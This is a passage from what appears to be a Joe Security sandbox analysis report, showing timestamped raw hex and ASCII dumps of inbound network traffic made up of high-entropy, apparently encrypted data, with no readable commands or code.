fa 7d 40 Data Ascii: E;DPn9Vhm$5x4++b}y.9U=1;||8&,4~n+> (-Q]#\lFDbbH^._,YkOSogrVJW0{Nl1K(AgrAX]`8h`1ewp5p$p}@

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 41 of 50

2022-04-25 17:44:44 UTC 163 IN Data Raw: 24 9e 40 2a 69 6d a2 f0 76 f4 1a 01 12 a0 ba 4e 37 63 7d 16 0e 07 b7 cb f7 9e 87 3f aa a0 1c 73 e5 c8 4a 6f 75 7b 56 90 f5 0b 82 3f 2e 01 71 7d 19 29 8d f5 f7 d4 02 ee 7a a2 e5 b7 cf 24 64 07 5f 5d 03 36 84 0b 1d 6c 8b 8f e3 ce 20 3f 97 13 fa 7b 5b 9e 79 c8 39 f1 55 28 ea b1 2e 07 bc 93 77 a2 b3 c3 c9 df ff a6 77 6d cb f7 cd ac 66 38 f2 ba 00 73 6e 23 33 1e 8b a3 e0 b9 06 33 8d 56 75 cc b0 ca 5a 24 83 27 a3 e0 80 a1 70 64 51 17 dc b4 f8 2c 1d aa 50 8b 23 3d 9a 7a 46 79 af 35 97 9a 0c c6 e8 98 06 51 14 7b fc dd 46 7a 09 1f 3d 5b 6d 6d 5b 23 8d 96 23 c6 50 83 97 11 9a bd 25 97 cd 2a b6 62 2e 66 9a 3b 1f 5f 87 46 2c b7 90 54 2a 7a a6 67 68 ce 08 89 6f ee 5e b7 57 2d c1 8d a9 dc d9 ce 35 3c ce 2a c2 52 7e 88 86 78 68 70 68 0c 5e 1d 07 23 c9 2d 72 60 0c 7c 89 Data Ascii: $@*imvN7c}?sJou{V?.q})z$d_]6l ?{[y9U(.wwmf8sn#33VuZ$'pdQ,P#=zFy5Q{Fz=[mm[##P%*b.f;_F,T*zgho^W-5<*R~xhph^#-r`|

2022-04-25 17:44:44 UTC 165 IN Data Raw: 8d 8a b4 1e 3c 52 11 17 61 b2 fc 8d 5e 44 2f 58 85 16 57 48 19 c1 2c 4f 94 8e 1d a0 b1 59 d0 6d 34 15 ce 46 05 08 24 8f 6d ec 0e 19 ff eb a9 8a 49 4f fc 64 47 6d e2 92 cf 8c 43 fb fc 3d ff b6 1d 58 d3 14 09 27 49 1a a1 4f 2b d2 79 d3 93 e4 dc bf 82 f8 d4 91 a1 7d 16 09 c7 4e df 57 0a bf 03 f8 66 21 e4 b6 b0 23 64 84 0a a1 a9 38 d2 e1 a5 97 20 91 de 72 c8 e5 75 9e 9d 50 37 13 1c 26 93 2b be ed b2 18 24 0d 29 56 1e 69 5a 02 fa d2 6e 30 f8 75 ed f1 5d 23 64 45 aa 3e 81 de 42 f8 0a 39 43 c0 18 52 5a f5 4d 26 4b ba 80 f7 b3 95 59 03 8e 17 93 9e 1b 4b 04 71 54 52 67 87 36 bb 20 fb f8 5c 18 d6 46 59 9f 10 50 44 8d 4d 5e a2 90 4e d2 20 fd bf 4f 72 60 93 87 8c 70 26 64 1f 0a 5d 44 f9 2a a7 00 15 50 62 36 e7 72 3f 02 78 1c c1 a2 3c 81 52 9f 0f 9f 92 bc 30 75 da f1 Data Ascii: <Ra^D/XWH,OYm4F$mIOdGmC=X'IO+y}NWf!#d8 ruP7&+$)ViZn0u]#dE>B9CRZM&KYKqTRg6 \FYPDM^N Or`p&d]D*Pb6r?x<R0u

2022-04-25 17:44:44 UTC 166 IN Data Raw: b4 f6 63 06 1f b3 59 6c aa 8b 4a 96 25 1e 22 f5 ac 24 70 e7 7e 07 73 47 b5 65 3f 1b ba 6c 41 3b db c6 f3 8a cc 2f 26 c1 1a a9 c6 52 83 71 c2 e2 73 5e e2 2e 7c 35 19 24 4f 3b 21 96 17 28 8c 75 62 9a 85 30 02 cc 2b d3 5a 6b 6a b3 6d 12 cc f3 39 49 df 4b 51 80 68 c7 a6 84 75 0a b4 4c 4e fe 88 c3 eb 08 fb 8e 8c 66 97 ff 10 8f cc 99 2f 98 bc 94 f0 d4 1d d0 f1 34 b6 b7 1f 08 9d 6c 3c 65 c8 25 66 8a 77 25 65 20 fa dc 84 e7 ed e3 ac 6a 9a af 74 cb 0d 19 ad 38 b7 50 d6 3d d9 45 39 b3 a8 d0 22 83 2a 3d 73 85 87 29 19 4a eb fc a9 81 23 e4 d3 8e e5 d7 1e a3 69 14 18 52 3e db b3 a0 a1 57 3b eb 8d 63 f5 dd 8f a9 40 d5 48 85 8b 0b 5d 3c b7 1c 49 c2 16 48 dc ca f5 58 c8 46 dd 1a 4e dd 69 4f 66 94 c5 2c 92 d2 af cd a3 26 fd 92 d2 9f bc eb 0e 40 3b b1 21 d1 56 86 7e 5e a0 Data Ascii: cYlJ%"$p~sGe?lA;/&Rqs^.|5$O;!(ub0+Zkjm9IKQhuLNf/4l<e%fw%e jt8P=E9"*=s)J#iR>W;c@H]<IHXFNiOf,&@;!V~^

2022-04-25 17:44:44 UTC 167 IN Data Raw: 52 f0 3c 26 3f 1c 16 24 2b 72 ec 7d 0a 27 c1 a0 1c 0f 45 5a ca 4d d2 a2 31 ab 60 e8 3d b0 9b 75 69 aa 3e 90 de 8e f9 3f 7a 41 0c 69 e1 4b d9 4d a6 fa ba 4c f6 fc f6 57 1a e6 80 82 b2 1b ff b2 71 98 53 cb e4 38 92 98 f2 fc 70 18 16 f0 59 ba 12 65 20 8b 15 a4 24 81 63 d2 d4 4b bf 83 73 f8 f0 81 aa 90 a4 75 31 0a 79 fd f9 8f a1 98 16 5e c2 ab eb 73 10 02 20 b2 d9 aa 1d 92 54 90 b8 fe e8 b8 1f 75 be 4f ea 6e db 58 96 a6 cd f3 98 e8 cf a5 cf 37 04 f2 98 7f 7c 3e f7 aa a2 8a df b0 26 72 e2 52 d1 c4 a9 5e 0f 92 a2 b1 01 7d a3 d2 c7 6d f0 cb 6d 4f d1 53 e2 2c ff d8 63 f6 7b c3 90 9f 49 c6 5a 45 07 64 bb 14 c9 93 85 64 81 af 4c b1 03 1d 45 fb 4b a7 4f ff 7a 0c 0b 48 c0 03 f9 4b 2d 6a b9 03 e7 ee 3b e8 9f d5 2a 48 a1 6f 79 fe d7 3b 7d 6f a1 42 48 16 72 b1 db 90 a9 Data Ascii: R<&?$+r}'EZM1`=ui>?zAiKMLWqS8pYe $cKsu1y^s TuOnX7|>&rR^}mmOS,c{IZEddLEKOzHK-j;*Hoy;}oBHr

2022-04-25 17:44:44 UTC 168 IN Data Raw: 53 14 4e 9d 24 df 65 3e 24 e0 8c 76 f6 11 d8 e2 9a 84 b3 09 e3 60 6b 4d a3 75 fa f1 f7 b5 7e b7 d8 35 3d 15 44 c8 be a9 92 d2 56 32 7b 73 11 74 31 11 6b f8 fa a8 56 17 08 cb c8 e5 1f 8d a0 f9 1a 0b 54 3f 33 f6 76 b9 11 3b 3f 3c 60 39 dc 71 ae 41 00 09 77 8e 4d 5d 34 50 04 47 e3 90 4e dd 14 20 6e cc 00 dd ae 7a dd a5 4e 5a 9e d4 24 ab b6 af 8b a3 32 1d 92 1e 9e fd e4 0f 0f ff 8f 20 97 56 ce 9e 5e 6c 33 de bb 8c 9f 24 1d d7 73 a7 cc 43 27 90 da bf a5 23 6a 84 83 62 81 7d 24 4a 71 8f 38 e8 f2 e1 df 86 f9 e5 46 ce 9b cf 94 e8 7a de f4 08 4e 55 f5 e0 77 3b ce 8a 95 bb 58 b7 3b 15 c1 fb 09 10 2f f1 dd 0a 54 2d cd 7f b3 eb ee 6e 62 d3 e0 ad 91 0d c9 e8 32 3a 12 20 db 50 22 5d 54 5c c8 9a 5a d7 ab 8d 8c bd 16 eb 51 8e 51 63 9c bf af 5e 44 2f 49 9b 00 7e ef 0a 87 Data Ascii: SN$e>$v`kMu~5=DV2{st1kVT?3v;?<`9qAwM]4PGN nzNZ$2 V^l3$sC'#jb}$Jq8FzNUw;X;/T-nb2: P"]T\ZQQc^D/I~

2022-04-25 17:44:44 UTC 170 IN Data Raw: ed 1d 02 d0 99 0f d7 d3 af 30 c9 dc fe f1 29 db 80 13 af f4 d3 48 ea e0 b7 55 86 1f b5 98 c7 ff 37 be 8a 74 8a f0 68 84 f0 e0 15 d1 c0 29 47 07 b3 46 b1 2e b1 6e 68 c4 2a f0 7f 49 57 d9 72 09 3b d7 d0 ba 4d 7b 84 90 d3 c9 df 52 64 0e 60 8a d8 0c 28 86 23 81 1b 6f b1 cf 1c db f4 61 af 22 46 7a 4b 0b 10 46 02 35 4a 21 6d 8b cf be 0f 1e af 9f 59 b1 49 6d 6e f1 fa e5 f7 00 bc 84 05 48 a2 41 b1 17 91 16 b7 d3 33 be 82 3d ec a0 81 f9 f2 ca 6c 6f aa 7a 95 93 5e 2e 09 3e 83 21 57 7d d5 28 9d ef dc f5 dd ef 3b ae b8 38 02 25 7f 14 4d 5d 6a 31 a0 02 5b 6c 87 1e 1a c8 21 3f 21 15 ce 7c 9f bb f2 c9 8b df 53 28 26 b0 3e 1d b5 b2 a8 a3 ed c1 5c 4e 5b a0 6e 6f de f7 cd ac 69 29 b4 ba 01 e7 79 21 32 1e 6e a2 3a ba f0 10 f6 50 d8 ec e6 4a 96 25 18 2c fd 41 36 a7 aa 77 93 Data Ascii: 0)HU7th)GF.nh*IWr;M{Rd`(#oa"FzKF5J!mYImnHA3=loz^.>!W}(;8%M]j1[l!?!|S(&>\N[noi)y!2n:PJ%,A6w

2022-04-25 17:44:44 UTC 171 IN Data Raw: 49 c5 07 40 ff c6 27 c9 5e a7 7b 5e 2b 33 86 4a 85 c9 24 dd d1 2d af b9 a6 27 d7 da d7 54 2a 2b 84 ca 25 cd e5 a4 09 72 c8 38 40 03 e8 97 86 39 a1 02 86 04 8c 97 af 7a 6a d5 00 a0 55 bc e7 29 33 27 6f 95 fc 58 b7 38 1d 34 7b c9 06 49 3d 08 87 7f 6a cd 7f b0 e3 dd ee 2b c4 86 61 98 a4 c0 a3 32 3a 11 28 e1 d0 e2 4b 32 90 d8 c6 71 9c ab 69 78 a4 1e ca 53 91 0f 6b 93 5b af 0e 44 c3 aa 82 0e 5f 69 0c c1 e2 4e 30 a7 4d a0 79 aa c7 6d f8 14 ff 45 a2 0e 7c a5 3d ec ba ed e8 eb 65 8b 03 4d fd 64 2f 6b b2 92 c0 79 54 fb 30 3c ef b6 d3 59 92 38 59 27 6d ef b1 4f 8e d4 69 d3 34 e2 75 92 d2 f8 ed 64 b1 7d e0 08 d7 4e 2b 56 93 8c 53 f8 29 d4 f4 b6 68 25 74 84 d0 a7 c0 09 82 e1 c0 62 30 91 12 73 39 e1 52 9c c4 64 67 13 60 d3 83 2b 72 ec eb 1c 71 0a 94 6c 4e 69 c9 f7 ea Data Ascii: I@'^{^+3J$-'T*+%r8@9zjU)3'oX84{I=j+a2:(K2qixSk[D_iN0MymE|=eMd/kyT0<Y8Y'mOi4ud}N+VS)h%tb0s9Rdg`+rqlNi

2022-04-25 17:44:44 UTC 172 IN Data Raw: e4 3b 01 de 37 42 e1 0a 56 b3 47 91 aa 4c ca 3b 9f 91 ab ab c9 bd 40 f1 9a 6c b8 44 7b 59 92 d3 9d 4e ac 2a 36 55 2d d5 da 66 f6 d4 d4 ce 79 7c 3d e0 82 01 75 7f 19 a0 5c a6 30 9f 8e 1c ae 5a bb 19 98 21 17 cc 14 02 7d 5a 08 b5 74 3b c8 51 78 26 f3 c6 04 bd 93 bb 35 aa d7 d6 ea 58 f0 6e 31 33 f6 01 ad 46 bd f3 54 a1 40 7a 71 32 67 83 a3 f6 bb 00 a3 b1 27 4d fb e4 1a 96 b0 e0 35 f5 60 25 31 ed 6f 02 a2 28 e5 65 8f e5 ad 6c 8d 3a a9 cc 3b ac 4d 0f 76 c1 d1 57 c1 4a 8b 50 47 e2 38 5b fb 42 2c 35 fe da 58 3b ed 97 b4 2a 5b 5f 73 f7 d5 30 00 33 3c d3 96 6a af b0 1e 17 55 81 69 49 c1 b4 46 80 a4 c6 42 8f 74 21 41 3c 1e fe b2 3c fc 08 37 8f bd 6d 3f fa 69 fe 9c 99 7a 67 ab 94 55 d2 0d d0 d7 1f 47 c6 4f 08 ed 93 2b 65 3e 24 76 8a a7 20 08 56 aa dc 0f 18 fd e3 60 Data Ascii: ;7BVGL;@lD{YN*6U-fy|=u\0Z!}Zt;Qx&5Xn13FT@zq2g'M5`%1o(el:;MvWJPG8[B,5X;*[_s03<jUiIFBt!A<<7m?izgUGO+e>$v V`

2022-04-25 17:44:44 UTC 173 IN Data Raw: b2 48 39 5e 16 2c 6d 81 5e 5f a2 02 c3 2e 4f f0 31 1d b9 a4 6c c4 3d f8 f9 f1 47 07 08 bc 33 6d 90 0d 2c eb bb 65 85 9b 4f fe 64 e7 d6 e2 d1 da b9 57 ab 30 13 70 b4 1f 58 a7 ac 09 81 4a 2f b2 1f 8e 85 f6 d1 91 e4 40 06 82 80 c2 a4 b2 2d e0 7a 48 4c dd 57 a6 18 03 28 65 14 f7 e6 68 b1 eb 86 08 a1 f5 9d d2 f8 bd a2 33 c1 12 c5 a6 e3 77 9e f1 f0 37 e9 1f 13 80 7b 72 34 74 1e 27 0d a1 f8 1e b1 42 37 e9 82 a2 c8 a2 74 e8 f1 b1 8c 64 6b ae 0b 92 8e 8e e2 35 3e 46 c0 68 fe 5a 59 51 13 5f ea 4c cb f6 92 5c 03 c2 ba 93 f2 1f 7e 17 21 98 0c c1 80 33 bb bc 50 f8 c9 05 e3 55 09 ba 93 6f 44 88 4d 8a 0b 90 d8 d6 15 ee ef 83 d0 f2 94 82 8c 98 f0 64 da 17 68 57 a9 8f 64 92 12 56 62 82 53 72 ff 06 4d 18 89 aa fb 98 50 98 0f d7 45 bc 29 6b ef e5 ba 6e d3 53 92 ae f4 d3 de Data Ascii: H9^,m^_.O1l=G3m,eOdW0pXJ/@-zHLW(eh3w7{r4t'B7tdk5>FhZYQ_L\~!3PUoDMdhWdVbSrMPE)knS

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 42 of 50

2022-04-25 17:44:44 UTC 175 IN Data Raw: 70 4a 22 22 2b 36 a5 60 dc b3 ef 77 07 97 bc b5 1c 3d 2e ae 3c 8d 21 2a ce fa 8a 78 9b 26 6d 13 9c c2 1a 8b 6d c4 e0 7a 5e ce d6 7c 96 1b 11 5b 6b ed c9 37 28 85 75 46 63 85 5a 10 f9 3f 83 96 15 2c b2 64 12 60 15 39 84 dd 7e 45 d0 a4 66 c1 8d 7c 0a 74 a8 4e 6a 9a f6 ff 58 37 4e 3e 6f 9e ff 5c 6a cc 6e 2d ad a8 c4 55 31 8e d2 f8 34 72 52 1f d7 8e 59 28 35 3e 21 f6 88 7e 25 3d c2 fa f7 87 d2 fe b3 60 4c 5b a7 7d cb f9 fb ad e7 a3 65 c2 6d 15 0c de ba a1 d0 da 60 2a 68 70 b0 83 61 11 01 ee fe a0 81 10 04 d3 92 f0 e2 7a f0 f9 96 1d 50 37 db f1 40 a1 28 38 de cb 30 39 72 67 aa 49 d5 18 65 8b 8a 48 09 a4 54 47 2c 86 4a d5 ca 31 b8 c8 ef de 2f 5a 8d a5 bf 4c 9a cc 2c 8a 33 af b6 b5 13 e9 c2 1e 8d ea e5 07 40 ff 50 21 02 55 b3 6a 0e 6c 06 c9 ba 84 c9 24 4b d7 29 Data Ascii: pJ""+6`w=.<!*x&mmz^|[k7(uFcZ?,d`9~Ef|tNjX7N>o\jn-U14rRY(5>!~%=`L[}em`*hpazP7@(809rgIeHTG,J1/ZL,3@P!Ujl$K)

2022-04-25 17:44:44 UTC 176 IN Data Raw: 86 e9 48 1e 77 0d 96 4f 1c 69 5a 02 7d d2 90 1d 9e 74 b8 f1 e8 3b 66 45 aa 3e 06 de 95 ff 0a 3e 16 c0 13 49 58 f5 4d 26 cb ba 39 d8 c9 92 0c 03 5f 0d 91 9e 1b 4b 83 71 04 52 fe 80 63 bb 02 e7 fa 5c 18 d6 c1 59 d8 14 50 44 d8 4d 55 bc 92 4e d2 20 7a bf 6f 72 cd 94 d2 8c 99 44 66 1f 0a 5d c3 f9 4a a7 ad 12 06 62 a1 e7 70 3f 02 78 8c d9 b1 1f a7 50 c8 0f 92 f1 be 30 75 da 71 ea 96 dd 6d 92 fe f4 b4 6a fb e0 a5 57 09 04 a0 9a 4a 78 66 be 03 56 99 f0 b0 82 4c e2 ea d6 f1 ad 16 07 18 64 a2 2e 7d 6f ec c7 11 f2 fe 69 07 d9 bf 2b 3f cf d8 9b c8 7b 8e 9a aa 4d 8e 52 8b 2c 74 8a 14 0d ac 85 c2 83 9a 4f e1 cf 0c f8 f0 79 a7 03 c3 7a 61 19 7d c3 53 35 78 02 79 8b 03 bf d5 3b 38 9d e0 39 18 6d 3d d2 ee e5 3b 01 48 a1 d5 5a 23 61 e1 17 e4 35 b3 cb 3b 9f 07 3d 51 a2 8c Data Ascii: HwOiZ}t;fE>>IXM&9_KqRc\YPDMUN zorDf]Jbp?xP0uqmjWJxfVLd.}oi+?{MR,tOyza}S5xy;89m=;HZ#a5;=Q

2022-04-25 17:44:44 UTC 177 IN Data Raw: d5 88 2e 25 45 79 f8 dc 84 e7 6a e3 6c 6e 78 a7 2d cb 63 40 af 38 b7 50 56 3d 8d 62 fd ba f1 d0 66 db 28 3d 73 85 17 31 27 6e cd fe f0 81 cd bf d1 8e e5 d7 ee a0 2b 30 3e 50 67 db 0f fb a3 57 3b eb 5f 60 59 d9 44 aa 19 d5 38 dd 89 0b 5d 3c 30 04 bb c9 a5 4a 85 ca 73 00 ca 46 dd 1a ce dd 3d 4b 6f 9a 9c 2c ee 8b ad cd a3 26 7d 92 38 b5 c8 e5 57 40 79 e8 23 d1 56 86 fe 5e bc 36 eb ba d4 c9 83 f3 d5 35 a7 98 23 27 67 f1 8a a4 7b 2b 4c e4 61 c7 7d ac 2a 71 78 3d dd f3 b9 97 6f 17 e7 00 ce 0f af 94 dd 56 Data Ascii: .%Eyjlnx-c@8PV=bf(=s1'n+0>PgW;_`YD8]<0JsF=Ko,&}8W@y#V^65#'g{+La}*qx=oV

2022-04-25 17:44:44 UTC 177 IN Data Raw: eb f5 50 a0 5f 93 e3 31 3b 06 ea 95 a5 5e 82 3a 4d 34 d7 e6 12 69 f1 09 6a 54 55 e3 4a b2 b3 dd 20 04 d0 a6 ad 99 6c c9 47 33 0f 13 78 e1 20 cd 5f 12 5c d9 fb 5a b2 ad b8 88 f5 1e 5b 7c 95 17 63 b2 de af b1 45 1a 5a d3 0e ec 46 08 c1 2e 4f 66 a7 d5 a6 84 5b 96 6d 2d 3b fb 45 07 08 2a a5 73 ee 3b 1b b9 eb 93 a4 90 4d fe 64 71 40 19 94 fa 8e 05 fb 28 0c 7b b6 1f 58 31 3a 5c 25 7c 18 e0 4f b7 e4 fd d3 91 e4 d6 90 09 f0 e1 93 e0 7d ba 38 43 4e dd 57 30 8e 7c fa 53 23 a5 b6 14 15 e0 84 08 a1 63 0b 85 eb 90 95 61 91 8f 43 ad e1 77 9e 67 66 9e 11 29 24 d2 2b cc dc 7f 1c 27 0d 37 6e 6e 7b 6f 00 bb d2 7d 01 a9 76 e8 f1 27 1a b7 47 9f 3c c0 de 8e c8 3d 3c 46 c0 fe 68 fa e7 78 24 0d ba 6d c7 fe 90 5c 03 54 2c 6e 9c 2e 49 45 71 db 62 c9 82 33 bb 2a c6 1d 4f 2d d4 07 Data Ascii: P_1;^:M4ijTUJ lG3x _\Z[|cEZF.Of[m-;E*s;Mdq@({X1:\%|O}8CNW0|S#caCwgf)$+'7nn{o}v'G<=<Fhx$m\T,n.IEqb3*O-

2022-04-25 17:44:44 UTC 179 IN Data Raw: 0d a6 01 a4 1a 1c 6c 47 18 1b 53 07 0a 30 45 02 2f 61 9c b5 c9 3f 6b 53 11 23 85 3a 55 bd e7 80 a1 aa c1 c8 49 5a 75 44 5a cf a7 01 38 7d 29 f3 ba a5 e3 78 42 37 2b 7f f2 f6 0c 3b 37 b1 50 6c 58 e6 b5 bc 10 1c 64 f5 b9 1e a5 ed 77 07 01 2a 2e 60 0a 19 fc 6c 77 01 3d cc fa 8a ee 0d 0f ea 2f ab 90 4a 97 6c d3 e2 7a 5e 58 40 af 30 2c 26 09 3b d3 ab 20 2a 85 75 d0 f5 7f 1b 37 ce 6d d3 f6 56 3b b0 64 12 f6 83 c3 4c ea 49 17 80 26 fa d6 8f 7c 0a e2 3e 76 d2 bd c1 ad 08 93 b3 29 6d 9e ff ca fc ed 9f 1a 9a fa 94 93 ee 99 d0 f8 34 e4 c4 64 26 a8 6e 7a 65 d6 18 e2 8a 7e 25 ab 54 48 dd b1 e5 ac e3 6a 56 4f a5 7d cb 6f 6d c5 3e 82 52 90 3d 39 79 ca b8 a1 d0 4c f6 d8 3c 46 87 d1 31 5f 56 fa fc a0 81 86 92 18 88 d0 d5 28 a0 89 27 09 52 37 db 67 d6 80 55 0e e9 99 60 a8 Data Ascii: lGS0E/a?kS#:UIZuDZ8})xB7+;7PlXdw*.`lw=/Jlz^X@0,&; *u7mV;dLI&|>v)m4d&nze~%THjVO}om>R=9yL<F1_V('R7gU`

2022-04-25 17:44:44 UTC 180 IN Data Raw: 33 e0 38 09 27 49 8c b0 54 8a e1 fd 83 91 69 07 92 82 f8 d4 07 b0 ef fc 3d 43 1e dd f8 e1 8c 03 f8 66 b7 f5 f9 6c 10 e0 d4 08 71 b2 09 d2 e1 a5 01 31 19 0f 46 ad b1 77 6f b6 64 37 13 1c b0 82 a6 76 d9 7f 4c 27 1e e9 6c 1e 69 5a 94 eb 6e bf 04 a9 26 e8 c4 f9 18 64 45 aa a8 90 69 8a cc 3d 6c 46 96 20 6a 5a f5 4d b0 5d 5c 51 c3 fe c0 5c 74 8a 2e 93 9e 1b dd 15 99 9c 66 c9 d2 33 22 f4 c4 f8 5c 18 40 57 28 9b 27 67 16 88 f6 c2 9f 90 4e d2 b6 ec ad 86 46 fa c6 82 51 d0 64 64 1f 0a cb 55 67 a9 94 9a 40 56 9d ca c7 72 3f 02 ee 1a e5 af 28 90 02 98 2f 9e d1 bc 30 75 4c e7 32 44 ee 5a c0 ae b6 9a 4a f9 e0 a5 c1 9f 62 f7 ad 7d 2a 36 da c3 76 9b f0 b0 14 da e0 79 e4 c6 ff 46 81 fa 44 a0 2e 7d f9 7a 59 68 c5 c9 3b 57 71 3b 0b 3d cf d8 0d 5e 57 e8 a5 9d 1f de 98 2d 0c Data Ascii: 38'ITi=Cflq1Fwod7vL'liZn&dEi=lF jZM]\Q\t.f3"\@W('gNFQddUg@Vr?(/0uL2DZJb}*6vyFD.}zYh;Wq;=^W-

2022-04-25 17:44:44 UTC 181 IN Data Raw: f7 85 30 02 5a 3d 05 82 5f 3b e0 64 ac 33 81 39 49 df dd 47 cc a7 f3 d6 df 7c d5 27 3c 4e fe 88 55 fd 1b 22 ba 29 3d 9e fe 08 fe cc 99 2f 0e aa e2 56 e7 99 80 f8 17 26 c6 1f 08 9d fa 2a 58 2b 11 e2 da 7e 61 69 56 fa dc 84 71 fc 43 63 5e 4f f5 7d ae ad 6f ad 38 b7 c6 c0 96 00 71 ca e8 a1 56 8e f4 2a 3d 73 13 81 fb 12 5e fa ac a0 26 44 90 d3 8e e5 41 78 21 ee 2f 09 02 37 13 a5 d4 a1 57 3b 7d c9 94 3a e9 73 f8 49 3f 4c f1 8b 0b 5d aa a6 b8 5f d6 92 18 d5 c1 64 2c c8 46 dd 8c 58 c3 a1 7b 58 c8 cc 00 df a7 af cd a3 b0 eb 07 02 ab ff b7 07 0e aa c4 21 d1 56 10 68 0c 68 06 dc e8 84 b9 71 df d7 35 a7 0e b5 ac 8d ef bd f6 2b ba d1 c8 63 c7 7d 3a bc e1 8b 0d ea a1 e9 24 d3 3b e5 00 ce 99 39 2b f5 4f dc a7 00 74 00 be e1 31 3b 90 7c 2f bf 6d b5 68 1d c2 ae cb 10 69 Data Ascii: 0Z=_;d39IG|'<NU")=/V&*X+~aiVqCc^O}o8qV*=s^&DAx!/7W;}:sI?L]_d,FX{X!Vhhq5+c}:$;9+Ot1;|/mhi

2022-04-25 17:44:44 UTC 183 IN Data Raw: 8b 53 42 83 65 97 b1 c5 69 5d 0e c5 45 5a 7b 12 ed 4f 90 4e 0b 9c d4 65 cc 23 6d be fd 60 dc 95 43 8c 3c 40 4d 1c cb 5d f1 df a0 a2 c1 11 28 48 a8 c7 eb 3e 27 6b 30 db 0b 1c fe 53 df 0c 76 d2 0d 13 38 d9 be eb e4 f1 0b 93 07 f5 53 61 ea e0 14 56 97 25 b9 9a d6 7b 3e 9f ea 77 df f0 b8 a3 c9 e2 1e d1 34 8f d3 04 e7 46 5a 06 ed 6f bb c7 11 e9 63 68 13 d9 c5 0e 92 cc 8c 9b 37 51 76 93 56 4e 4e 5c 77 0e 32 8a 42 21 83 86 20 81 5a 50 a2 cf 50 db 07 64 b4 03 84 7b 04 2a 5b c1 d2 34 7f 2c a6 88 d2 be 3d 28 a1 9e 5c 3a 40 4c 9f f2 35 e4 b1 0f cd a1 43 49 68 70 aa 13 68 17 18 c5 1b 9b 70 3c 8e 8e 9e 71 fa c8 55 4b 97 7e b8 93 fa 2f 7a 3a d6 02 f6 6c 2b 29 7a f6 c9 fe f5 eb 9d af 4d 90 fd 24 9e 15 a6 79 9d 34 7e 19 9e 44 87 8e fa c9 3e 36 f2 15 e3 7c ad 93 75 c9 de Data Ascii: SBei]EZ{ONe#m`C<@M](H>'k0Sv8SaV%{>w4FZoch7QvVNN\w2B! ZPPd{*[4,=(\:@L5CIhphp<qUK~/z:l+)zM$y4~D>6|u

2022-04-25 17:44:44 UTC 184 IN Data Raw: 92 56 61 d0 e0 dc 38 53 c6 e1 a7 68 90 d8 75 b0 27 dd b1 f7 32 18 73 3d 0f 00 be f4 fe 40 4c ce 7d 29 d7 4c 6c 1e 70 d3 e6 44 9b 98 71 0a c3 af 6e c9 ab 07 2b 92 67 9f 66 e9 55 4a ee c2 dc d9 3a 8c 79 5a 67 3a b2 b2 55 cd 2c fc 17 35 de 9b 92 3b ba d8 66 a2 26 07 9f ce 92 c6 75 8d 7c 71 4e 38 96 e2 a0 96 7f 39 6d 20 5f 05 d8 90 d0 52 41 fd 79 a3 45 9b 36 37 fa 04 3d 8d 79 52 16 39 74 1c bc ca e1 6d 8f 23 34 5e ec cd 47 98 33 d7 bf 28 ea 8e 70 93 03 cd 05 29 73 10 c1 e0 3e f6 d9 17 5d dc 65 7b c6 a0 54 8b 05 19 d6 58 96 12 95 bc 03 ab 32 44 0d 40 c5 05 de 6b de e6 62 44 f9 a6 f9 86 7b 5c b2 6d db 3d d7 44 06 09 5a ba 30 e7 62 19 c2 f3 01 80 9b 4c 10 42 2d 45 eb 93 49 ab 9f fe 39 3d c5 93 74 53 5e 38 5e 02 d9 11 49 4d b2 d6 68 d8 b0 e7 e6 98 15 f3 fd 94 79 Data Ascii: Va8Shu'2s=@L})LlpDqn+gfUJ:yZg:U,5;f&u|qN89m _RAyE67=yR9tm#4^G3(p)s>]e{TX2D@kbD{\m=DZ0bLB-EI9=tS^8^IMhy

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 43 of 50

2022-04-25 17:44:44 UTC 185 IN Data Raw: 3f f8 0e 5d d7 c3 6a b7 df de fe 64 67 5c 3f 17 54 3e ef 40 a5 ae 64 b7 5b 30 2a f1 f0 a4 fc 46 ad 18 02 49 f9 24 ff 4f 20 7a c0 12 89 5b 1a ec 56 cd 2d 4a 34 68 58 e2 b2 23 e8 de df 51 01 17 8a b1 1f b0 d6 b1 ca 3d 13 bd 30 a8 a1 bf 19 f6 c7 6f 0e bf 72 78 52 d3 bf 4e f2 36 e3 56 c9 d5 e4 9a 19 cc 60 ce 23 7d 5c fc 86 02 c3 74 21 5c 14 a7 d8 91 0e 05 f0 47 f3 3d ff 38 83 32 e5 22 36 43 5a b5 33 17 6d 53 ec 26 d9 12 b0 be ca ba d9 87 92 cb 0e 59 a8 4f af cd 0e 02 8f 5e 8d ea f6 a5 7d 59 32 32 df 7d 0d e2 cb 06 7c b0 a0 44 09 e4 1b 97 17 12 7d f4 31 24 42 c5 9c 1e ee 2c 0a 42 20 01 60 6c 85 1b 2c cc 2e 8a 70 2c 24 d8 d6 a9 77 4d 24 53 05 e2 b6 5f 3c 58 a8 35 d5 25 b7 23 39 97 ee 2b 65 74 0a f5 fa 3a d7 dc ec d3 17 73 af ab f5 14 ef 9a a5 52 d6 4a 40 96 b4 Data Ascii: ?]jdg\?T>@d[0*FI$O z[V-J4hX#Q=0orxRN6V`#}\t!\G=82"6CZ3mS&YO^}Y22}|D}1$B,B `l,.p,$wM$S_<X5%#9+et:sRJ@

2022-04-25 17:44:44 UTC 186 IN Data Raw: 77 57 3c bc 2d bc 0c 15 85 fc c1 31 ee da c0 fb 5c 0c de 7f 44 e3 d5 4f 38 d2 57 ac b5 f7 80 e9 c6 3a f4 04 45 5d 16 5d a5 5b 53 78 c6 d7 80 95 00 b0 ef cb ed 80 a2 60 d3 48 e9 72 97 04 81 84 06 7e 52 0e 20 29 47 d1 b4 1d 49 b6 51 e7 ad f8 1a f9 4c 07 08 bc b7 6d e1 0e c0 ed e3 65 9a 92 94 fa 6a e7 55 e2 92 cf 82 55 e2 30 3c 79 b8 1f 45 a7 3a 09 35 49 3f b0 96 8a c6 ff fa 91 3d 44 92 82 d5 d4 cb bc 7f e0 39 41 14 d1 45 a6 bb 03 21 62 33 f5 8f 68 fc e6 96 08 9c f5 d2 d6 f3 a5 d6 31 48 16 7d af 41 77 9c f2 68 37 b7 1c 26 82 39 72 41 7d c5 23 05 a1 d3 1e b0 5e 0a eb 13 a2 e8 af 7e e8 34 b1 c3 60 4d aa ea 90 2f 86 f1 3f e4 46 19 6c 60 5a 29 4d d0 55 b2 4c 16 fc 6b 54 0b c2 c8 93 9e 12 43 15 99 98 56 c2 8c 33 52 bc 25 